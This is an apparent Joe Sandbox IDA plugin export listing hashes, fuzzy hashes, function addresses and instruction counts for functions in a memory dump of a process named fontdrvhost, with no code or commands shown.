Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0b7e501d898184eb42e76a556e12d0783a9bd3bd2405dd18371e54e8d0d5f1
Instruction ID: 9ccc799c1e58bd3ecae6d0b12f3150dd8e56f0197cba5dae27659a618c480e7d
Opcode Fuzzy Hash: ea0b7e501d898184eb42e76a556e12d0783a9bd3bd2405dd18371e54e8d0d5f1
Instruction Fuzzy Hash: CC11C871A0EA8D4FEB69EB6484B52B87BE0EF19304F0A01BFD41DC65F2DA256554C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC8A8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7dbbe5ef184e8dfaa589e2ecf5c86edcd1d4768b98ced6daa6e66e4f6622f1a
Instruction ID: b9e79c4b1efa1d2224d78e337b8abd6ea94cba5847b00e6edcf05ebb47c0244b
Opcode Fuzzy Hash: a7dbbe5ef184e8dfaa589e2ecf5c86edcd1d4768b98ced6daa6e66e4f6622f1a
Instruction Fuzzy Hash: 7B110272A0911A8AEB64BFF8A8595F973A0FF08724F000977D40DDA0D7EF3461558681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C24C1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea256bd7c8814ad8e9c8b1c2460bee00156cc75efb81ba8ea0d5a78b4510528a
Instruction ID: fffc56efd974dcd0737eb794b391f39936f0462c0dc4586016e4968bd24ae126
Opcode Fuzzy Hash: ea256bd7c8814ad8e9c8b1c2460bee00156cc75efb81ba8ea0d5a78b4510528a
Instruction Fuzzy Hash: 5E118EB0A0A55E9EEB92FBB888685FA7BE0FF19310F0545B7D418C70A6DA34A6448741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BBCC1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 239998e3253828ba5e69c5f45a70ed8ee79968ad66f6a2f9ecb54584b7112898
Instruction ID: 57a3506587ff88dc7671fb6aaaa97f0409581513dc31afea63c7f27c9295d818
Opcode Fuzzy Hash: 239998e3253828ba5e69c5f45a70ed8ee79968ad66f6a2f9ecb54584b7112898
Instruction Fuzzy Hash: 23118E30A0A65E8FEB54EFA4C4686FD7BE0FF18300F5104BAD419C21A5DE39A640CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BAB98 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5562cb5a008305cc947c44310c8daa89fedd0a5c121c1bb167212ecb95111d60
Instruction ID: 05a9429673f9d4df441547341ba877ad4c2c4131d741a340d4e6838a46c9b97a
Opcode Fuzzy Hash: 5562cb5a008305cc947c44310c8daa89fedd0a5c121c1bb167212ecb95111d60
Instruction Fuzzy Hash: FA11A330A1991E5EE764FBB8C8585FD77E1FF48300F414976D42DC31A6EE34A6458B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC978 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee19513051858300b079f6b1946584dcfc9cd6b150217a5f5786ff2cd8bb795
Instruction ID: 762275ce74fd5c8ba7496f4cc325b1931822a6361fae63755905556425d8ae67
Opcode Fuzzy Hash: cee19513051858300b079f6b1946584dcfc9cd6b150217a5f5786ff2cd8bb795
Instruction Fuzzy Hash: D71142B0A0990E9EEB98EFA884656B976E1FF68305F10057FD41DC31A5DE346550C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC8B0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc59322bce42ef0c7ac83d5178e9b4168b1d50e21c231f2c7fac0a1f3a760574
Instruction ID: 343300c9f60da77f7b121fce72b9c46c3232c8da145ff082d75b2320e14f3013
Opcode Fuzzy Hash: bc59322bce42ef0c7ac83d5178e9b4168b1d50e21c231f2c7fac0a1f3a760574
Instruction Fuzzy Hash: BA010472A0951E89FB64BFF8A8195F973A0FF08324F000A77E40DD60D3EE3461458681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B34E5 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008feea58a03db30c63e747116f72cd2f7361a19943b6b41da86ba2aa93ef669
Instruction ID: 79f3e73a8353c36ae7fa447b012b3e235aa652ee42141d9ea1c1664e7d0f5f35
Opcode Fuzzy Hash: 008feea58a03db30c63e747116f72cd2f7361a19943b6b41da86ba2aa93ef669
Instruction Fuzzy Hash: 7C113070A0969E8FDB59EF74C8696BD7BA0FF18300F0505BED419D61A5DA35A6408B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C49FD Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3f671ac4e9cd5d621538615bc80eeca140fc2825ac90134907959aed269e30
Instruction ID: cc17c6a8fbe349315b746fdb4f62a412e6d8b7a2073cbced94a801e01a28f0c1
Opcode Fuzzy Hash: 0a3f671ac4e9cd5d621538615bc80eeca140fc2825ac90134907959aed269e30
Instruction Fuzzy Hash: 8A118270A0954E4FEB54EB6488696BD7BF0FF58304F0505BFD41DC71A6DA7565808701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C5D89 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f95db94ea1e87bcdb0512bcf0b80f5926f8d91218d907033c285cc952d94a4d2
Instruction ID: ecd8ded9ecd69b362df9fc04eda4edd9c98367f735cdf5d184a7cff12f973405
Opcode Fuzzy Hash: f95db94ea1e87bcdb0512bcf0b80f5926f8d91218d907033c285cc952d94a4d2
Instruction Fuzzy Hash: 27114F70A0E68E4FEB92AB64886E5F97BE0FF19300F0605B7D418C70A6EA24A6448751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C4C5D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc03cef4c49a6e8a1deedcf7ae5534d4baa38e4595e1d950c1b3b0189a45cd71
Instruction ID: 0536252b9cedadd7d524359afc84318de1ec8b675cff7ff67ddaca1abc56d344
Opcode Fuzzy Hash: bc03cef4c49a6e8a1deedcf7ae5534d4baa38e4595e1d950c1b3b0189a45cd71
Instruction Fuzzy Hash: 5011C170A0954E8FEB59EB6488696B97BE0FF18304F0505BFD41DC21B6DE356680C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C2E49 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4cb798a56ae33301441fd11c3f5eb011d34852b4fa5555e01770a6c00d9ef05
Instruction ID: 57c32736db1fcdc6aa1c0d7a292c3d93449f76921e975264efe9e44b95323fd9
Opcode Fuzzy Hash: d4cb798a56ae33301441fd11c3f5eb011d34852b4fa5555e01770a6c00d9ef05
Instruction Fuzzy Hash: C311E97190E2CA8FE752ABB44C296F53FF0EF1A210F0905FBE488C60A3DA285554C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B05D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5efe6c8de615ea7d46a69e6a8776ec94325120e4918d2deb3561c04ecece5a4
Instruction ID: f5defc5fcbbb1fb407d422616bc8d4d9edc13fcfe659281bcd66fbe9ae0bffea
Opcode Fuzzy Hash: b5efe6c8de615ea7d46a69e6a8776ec94325120e4918d2deb3561c04ecece5a4
Instruction Fuzzy Hash: F4019E30A1991E8FDBA8EF65C4646BA77A1FF5C304F21047ED81EC61A4CA35A650CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC958 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65b9becb2d19a91f3f17e8058a5382454fbae5b90e49c28424e075a83dcf6e7
Instruction ID: f7affe83f8053e4877c024f3d57ee75dfad08553caef0ee2ff9d8376891d94b7
Opcode Fuzzy Hash: b65b9becb2d19a91f3f17e8058a5382454fbae5b90e49c28424e075a83dcf6e7
Instruction Fuzzy Hash: 03015270A0990E8EEB91FFF884596B976E1FF1D304F0149B7E41DD21A6DF34A6908741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BB908 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25414af9abd1e72ae66442588dc2dc7d5b20c6fead9d2d492028d439852e1ce8
Instruction ID: 5ca51905533d8f7cb017027647189507962da61c49e8eb9866f622a9f0789fa2
Opcode Fuzzy Hash: 25414af9abd1e72ae66442588dc2dc7d5b20c6fead9d2d492028d439852e1ce8
Instruction Fuzzy Hash: 54018030A4961E8EEB94EF74C4686B976E0FF1C300F11047EE41EC21A1EE35A240CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B283D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9816ca0dfd44737be22e0e1147c3e1f10e7e25529046ac3d57302b55df8134f7
Instruction ID: 64d4743ccba93d25d03088b2f4019d38f68314e531ee76d5dd314271d0bf4cd8
Opcode Fuzzy Hash: 9816ca0dfd44737be22e0e1147c3e1f10e7e25529046ac3d57302b55df8134f7
Instruction Fuzzy Hash: 4E017130A1A55E8FE761AFB484595A97BE0FF19300F4245B6D418C60B6EE38E2408A80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C0A70 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b59e75fc0e17f09c453440db272aa193ba87bea5c4ad600861113aae1f864328
Instruction ID: e533994af1585ca4d308f3f08e6113d6bd8df2a1904deaacc7ddf9a0aa2bc5db
Opcode Fuzzy Hash: b59e75fc0e17f09c453440db272aa193ba87bea5c4ad600861113aae1f864328
Instruction Fuzzy Hash: D7017C70A1590E8FEB98EFA8C4686BE77E0FF18304F11047AD41EC21A0DE30A690CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C72C9 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067684d6db5ad9378913a315c76ad7c056321a0657371255dd671b60f64b1603
Instruction ID: b82ef0ab2617756ad6f87770f6cfeb077e0af08acde4e7b96b1cd31ed0b07d49
Opcode Fuzzy Hash: 067684d6db5ad9378913a315c76ad7c056321a0657371255dd671b60f64b1603
Instruction Fuzzy Hash: 5901B174A0E28E4FE762FF7488695B93BE0EF1A300F4604F7D818C70A6DA28A5448301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC8C8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16344f00f57d1e192443d4a0b4b9b24170f152fafc27164b98a99be0c26cbdab
Instruction ID: feaab0499ce1b9b17ef7c71c1581c7762f5902468e3b86ac80b6d086456f4d89
Opcode Fuzzy Hash: 16344f00f57d1e192443d4a0b4b9b24170f152fafc27164b98a99be0c26cbdab
Instruction Fuzzy Hash: C4018F72A1951E8AFBA4ABF858292F976E0FF18314F010977E41DD60E2EE2462509641

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BA719 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8588357cca049c6fe3d7813e4035e97098052c7630aae8069bf32e0bb6119fd9
Instruction ID: 3e2e6faa88a022786fd25450194950aab01aa516098ab1804177d0b06000d222
Opcode Fuzzy Hash: 8588357cca049c6fe3d7813e4035e97098052c7630aae8069bf32e0bb6119fd9
Instruction Fuzzy Hash: E6018430A5E64D9FD752ABB488695A93BF4EF5A300F0604F3D048C70B6DD38A644C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C0A51 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028e6ccf84e756ca780be57639549cce47bb744d900f897d4674fab63a154514
Instruction ID: f149daf989d96416cf188720dcd4949ce3bb9869c78a0f98038b51490c1bf305
Opcode Fuzzy Hash: 028e6ccf84e756ca780be57639549cce47bb744d900f897d4674fab63a154514
Instruction Fuzzy Hash: 17F0AF70A1A64E8FDB95AFA488282FE7BA0FF19200F42047BE81CC21A1EB3496508740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C7A0D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d3bd717fd26efcd85f2c7bac085ab16104931cc1ce426601319a0750871c91
Instruction ID: 4388232c2c28f0b5f785fd7a5163423e93d83f87f22d862ea8dedbc8c259dd61
Opcode Fuzzy Hash: 07d3bd717fd26efcd85f2c7bac085ab16104931cc1ce426601319a0750871c91
Instruction Fuzzy Hash: 7B01B174A4A68E8FDB59EF64C4695B93BE0FF09304F0114BED01DC61E2DA35A640C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B2ED9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c78a3a8f7c207a317920140289787a8bb89efe1868c8277e41b6a5f99fbab8a
Instruction ID: 3e4bc83a8f7bbea6007ce1b428fff17ab4ca1726a05f90a2898454ac166e93d5
Opcode Fuzzy Hash: 8c78a3a8f7c207a317920140289787a8bb89efe1868c8277e41b6a5f99fbab8a
Instruction Fuzzy Hash: B801D430A1D64E8FD722EFB484685A97BE0EF0A300F4248B3D408C71B6DA38A5408B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B1C9D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da39b7a3bbbd44746f3c81e7fb7b85c2b204ef0a2150999d231c45c1e7b571a
Instruction ID: 5fb6b060132ee9fa1b14fc77ddcec61053b0587f8d7da5e03af605ac2037b1eb
Opcode Fuzzy Hash: 3da39b7a3bbbd44746f3c81e7fb7b85c2b204ef0a2150999d231c45c1e7b571a
Instruction Fuzzy Hash: DC01D630A1A65E8FDB65AF24C8655B93BA0FF59300F51017AD808C6191DB359550CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B0610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f8eb333f0b4897ec9709d268047d2f8116b2246c6d71c0641cbd97deed76b89
Instruction ID: daac99dc52241d1e7ec005f6346e873fbba73ed06aa3b88a02516df97927f99e
Opcode Fuzzy Hash: 1f8eb333f0b4897ec9709d268047d2f8116b2246c6d71c0641cbd97deed76b89
Instruction Fuzzy Hash: 6F01AD30A1990E8AEB69EFB4C4696BA77E0FF0C305F11087ED41EC21E4CE35A240CA40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B0608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82fd5701cc24a2cfbacd8d8cd975e7db1d67d7ab45914474f4ba47496e2ea2eb
Instruction ID: 3c55ec53c47f4a7851be2860786c987d46555b763ed2ef9a337d28793e047a85
Opcode Fuzzy Hash: 82fd5701cc24a2cfbacd8d8cd975e7db1d67d7ab45914474f4ba47496e2ea2eb
Instruction Fuzzy Hash: 3101D630A1551EDADB58EFB4C4685B93BA0FF0C304F10087ED41EC21E4DE35A140CE44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC588 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5564bf41b5470cb8a9652d1bec70580de36b3641084fd9b6d7a42cd8be582b26
Instruction ID: f1cfdc98e384948690607f9dce3fe47597218cb25d6c8b90c5da13f3c1720eb8
Opcode Fuzzy Hash: 5564bf41b5470cb8a9652d1bec70580de36b3641084fd9b6d7a42cd8be582b26
Instruction Fuzzy Hash: 6201867190A65E9EEB55AF7488295FD3AE0FF08304F01057AE81DC20A5EF7496548F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BA7E8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3449487e31cd1dbf465a58185e5be4e90bff0b1e2bbec6aba81f9e567619961a
Instruction ID: df7bafc93525e8fddcce2766ceb524f5fbc09f84616cc5e33bf77aa14bf14a67
Opcode Fuzzy Hash: 3449487e31cd1dbf465a58185e5be4e90bff0b1e2bbec6aba81f9e567619961a
Instruction Fuzzy Hash: 34F08C70A2950E8AEB68FF74C4A86FA73A0FF08304F11087EE41EC21E5DF35AA50C640

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BA830 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5642dd00d6f278628f6148fbe8a94b60e035e84345792b79e82ac8f45061ba9
Instruction ID: 69e8b449ab8953422fae1bee8d618cd7cd333d7076850d5c3f11514db3138ce2
Opcode Fuzzy Hash: d5642dd00d6f278628f6148fbe8a94b60e035e84345792b79e82ac8f45061ba9
Instruction Fuzzy Hash: B9F0D130A4A50E8AEB58EF64C4246BD32A0FF18304F11047FD41EC20E5DE39A254C600

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B05D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3547eaea2e892b3a46dd474699674651381c124ed114bb8812cea02eff0a8a05
Instruction ID: 5dcc85d7d593e7687fd7065bd4f9c7f3887e9984c0f47f1c6ada858b87865615
Opcode Fuzzy Hash: 3547eaea2e892b3a46dd474699674651381c124ed114bb8812cea02eff0a8a05
Instruction Fuzzy Hash: 71F0C830A1A55E8FDB64EF74D4355FA37A0FF09304F11047AE81DC6095CA35A650CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B2759 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1c3d78750a087d1627e060ab1436bde356132deb1a81962dabd29731cafac55
Instruction ID: 03a412e939451e5b122629abf39715eaa57a770e84d42808e4210f5313fa0ee1
Opcode Fuzzy Hash: e1c3d78750a087d1627e060ab1436bde356132deb1a81962dabd29731cafac55
Instruction Fuzzy Hash: 7CF0963091A78E8FDB6A9FB498786F93B60FF0A304F4104BAE409C51E6DB386554CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C1F75 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33563a9ea29988de82de632924a273485067ebf9da3f87df7e0e95633f94e282
Instruction ID: 9d70c67471bb1b6891c7809f2013fea327dd20c254b17cdea786973836a50584
Opcode Fuzzy Hash: 33563a9ea29988de82de632924a273485067ebf9da3f87df7e0e95633f94e282
Instruction Fuzzy Hash: 4DF0E970A5A24E4FDB64AF60C8645F97B60FF05300F01067AE41DC2092DB78AA148741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B27CD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f77a30cb2323f78cd685b4b6032a229ef90d3732f8f83bf58f1fb13bd7b9eaf
Instruction ID: 7457c58e8ac78b2f64063a9e44aeb7222795c4ca1ac6488c15eeb4f1cbc1fd9b
Opcode Fuzzy Hash: 7f77a30cb2323f78cd685b4b6032a229ef90d3732f8f83bf58f1fb13bd7b9eaf
Instruction Fuzzy Hash: 6FF0F030A0E68E8FEB699FB088291B93FA0FF09300F0204BED409C50E6DB389554CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BAE61 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
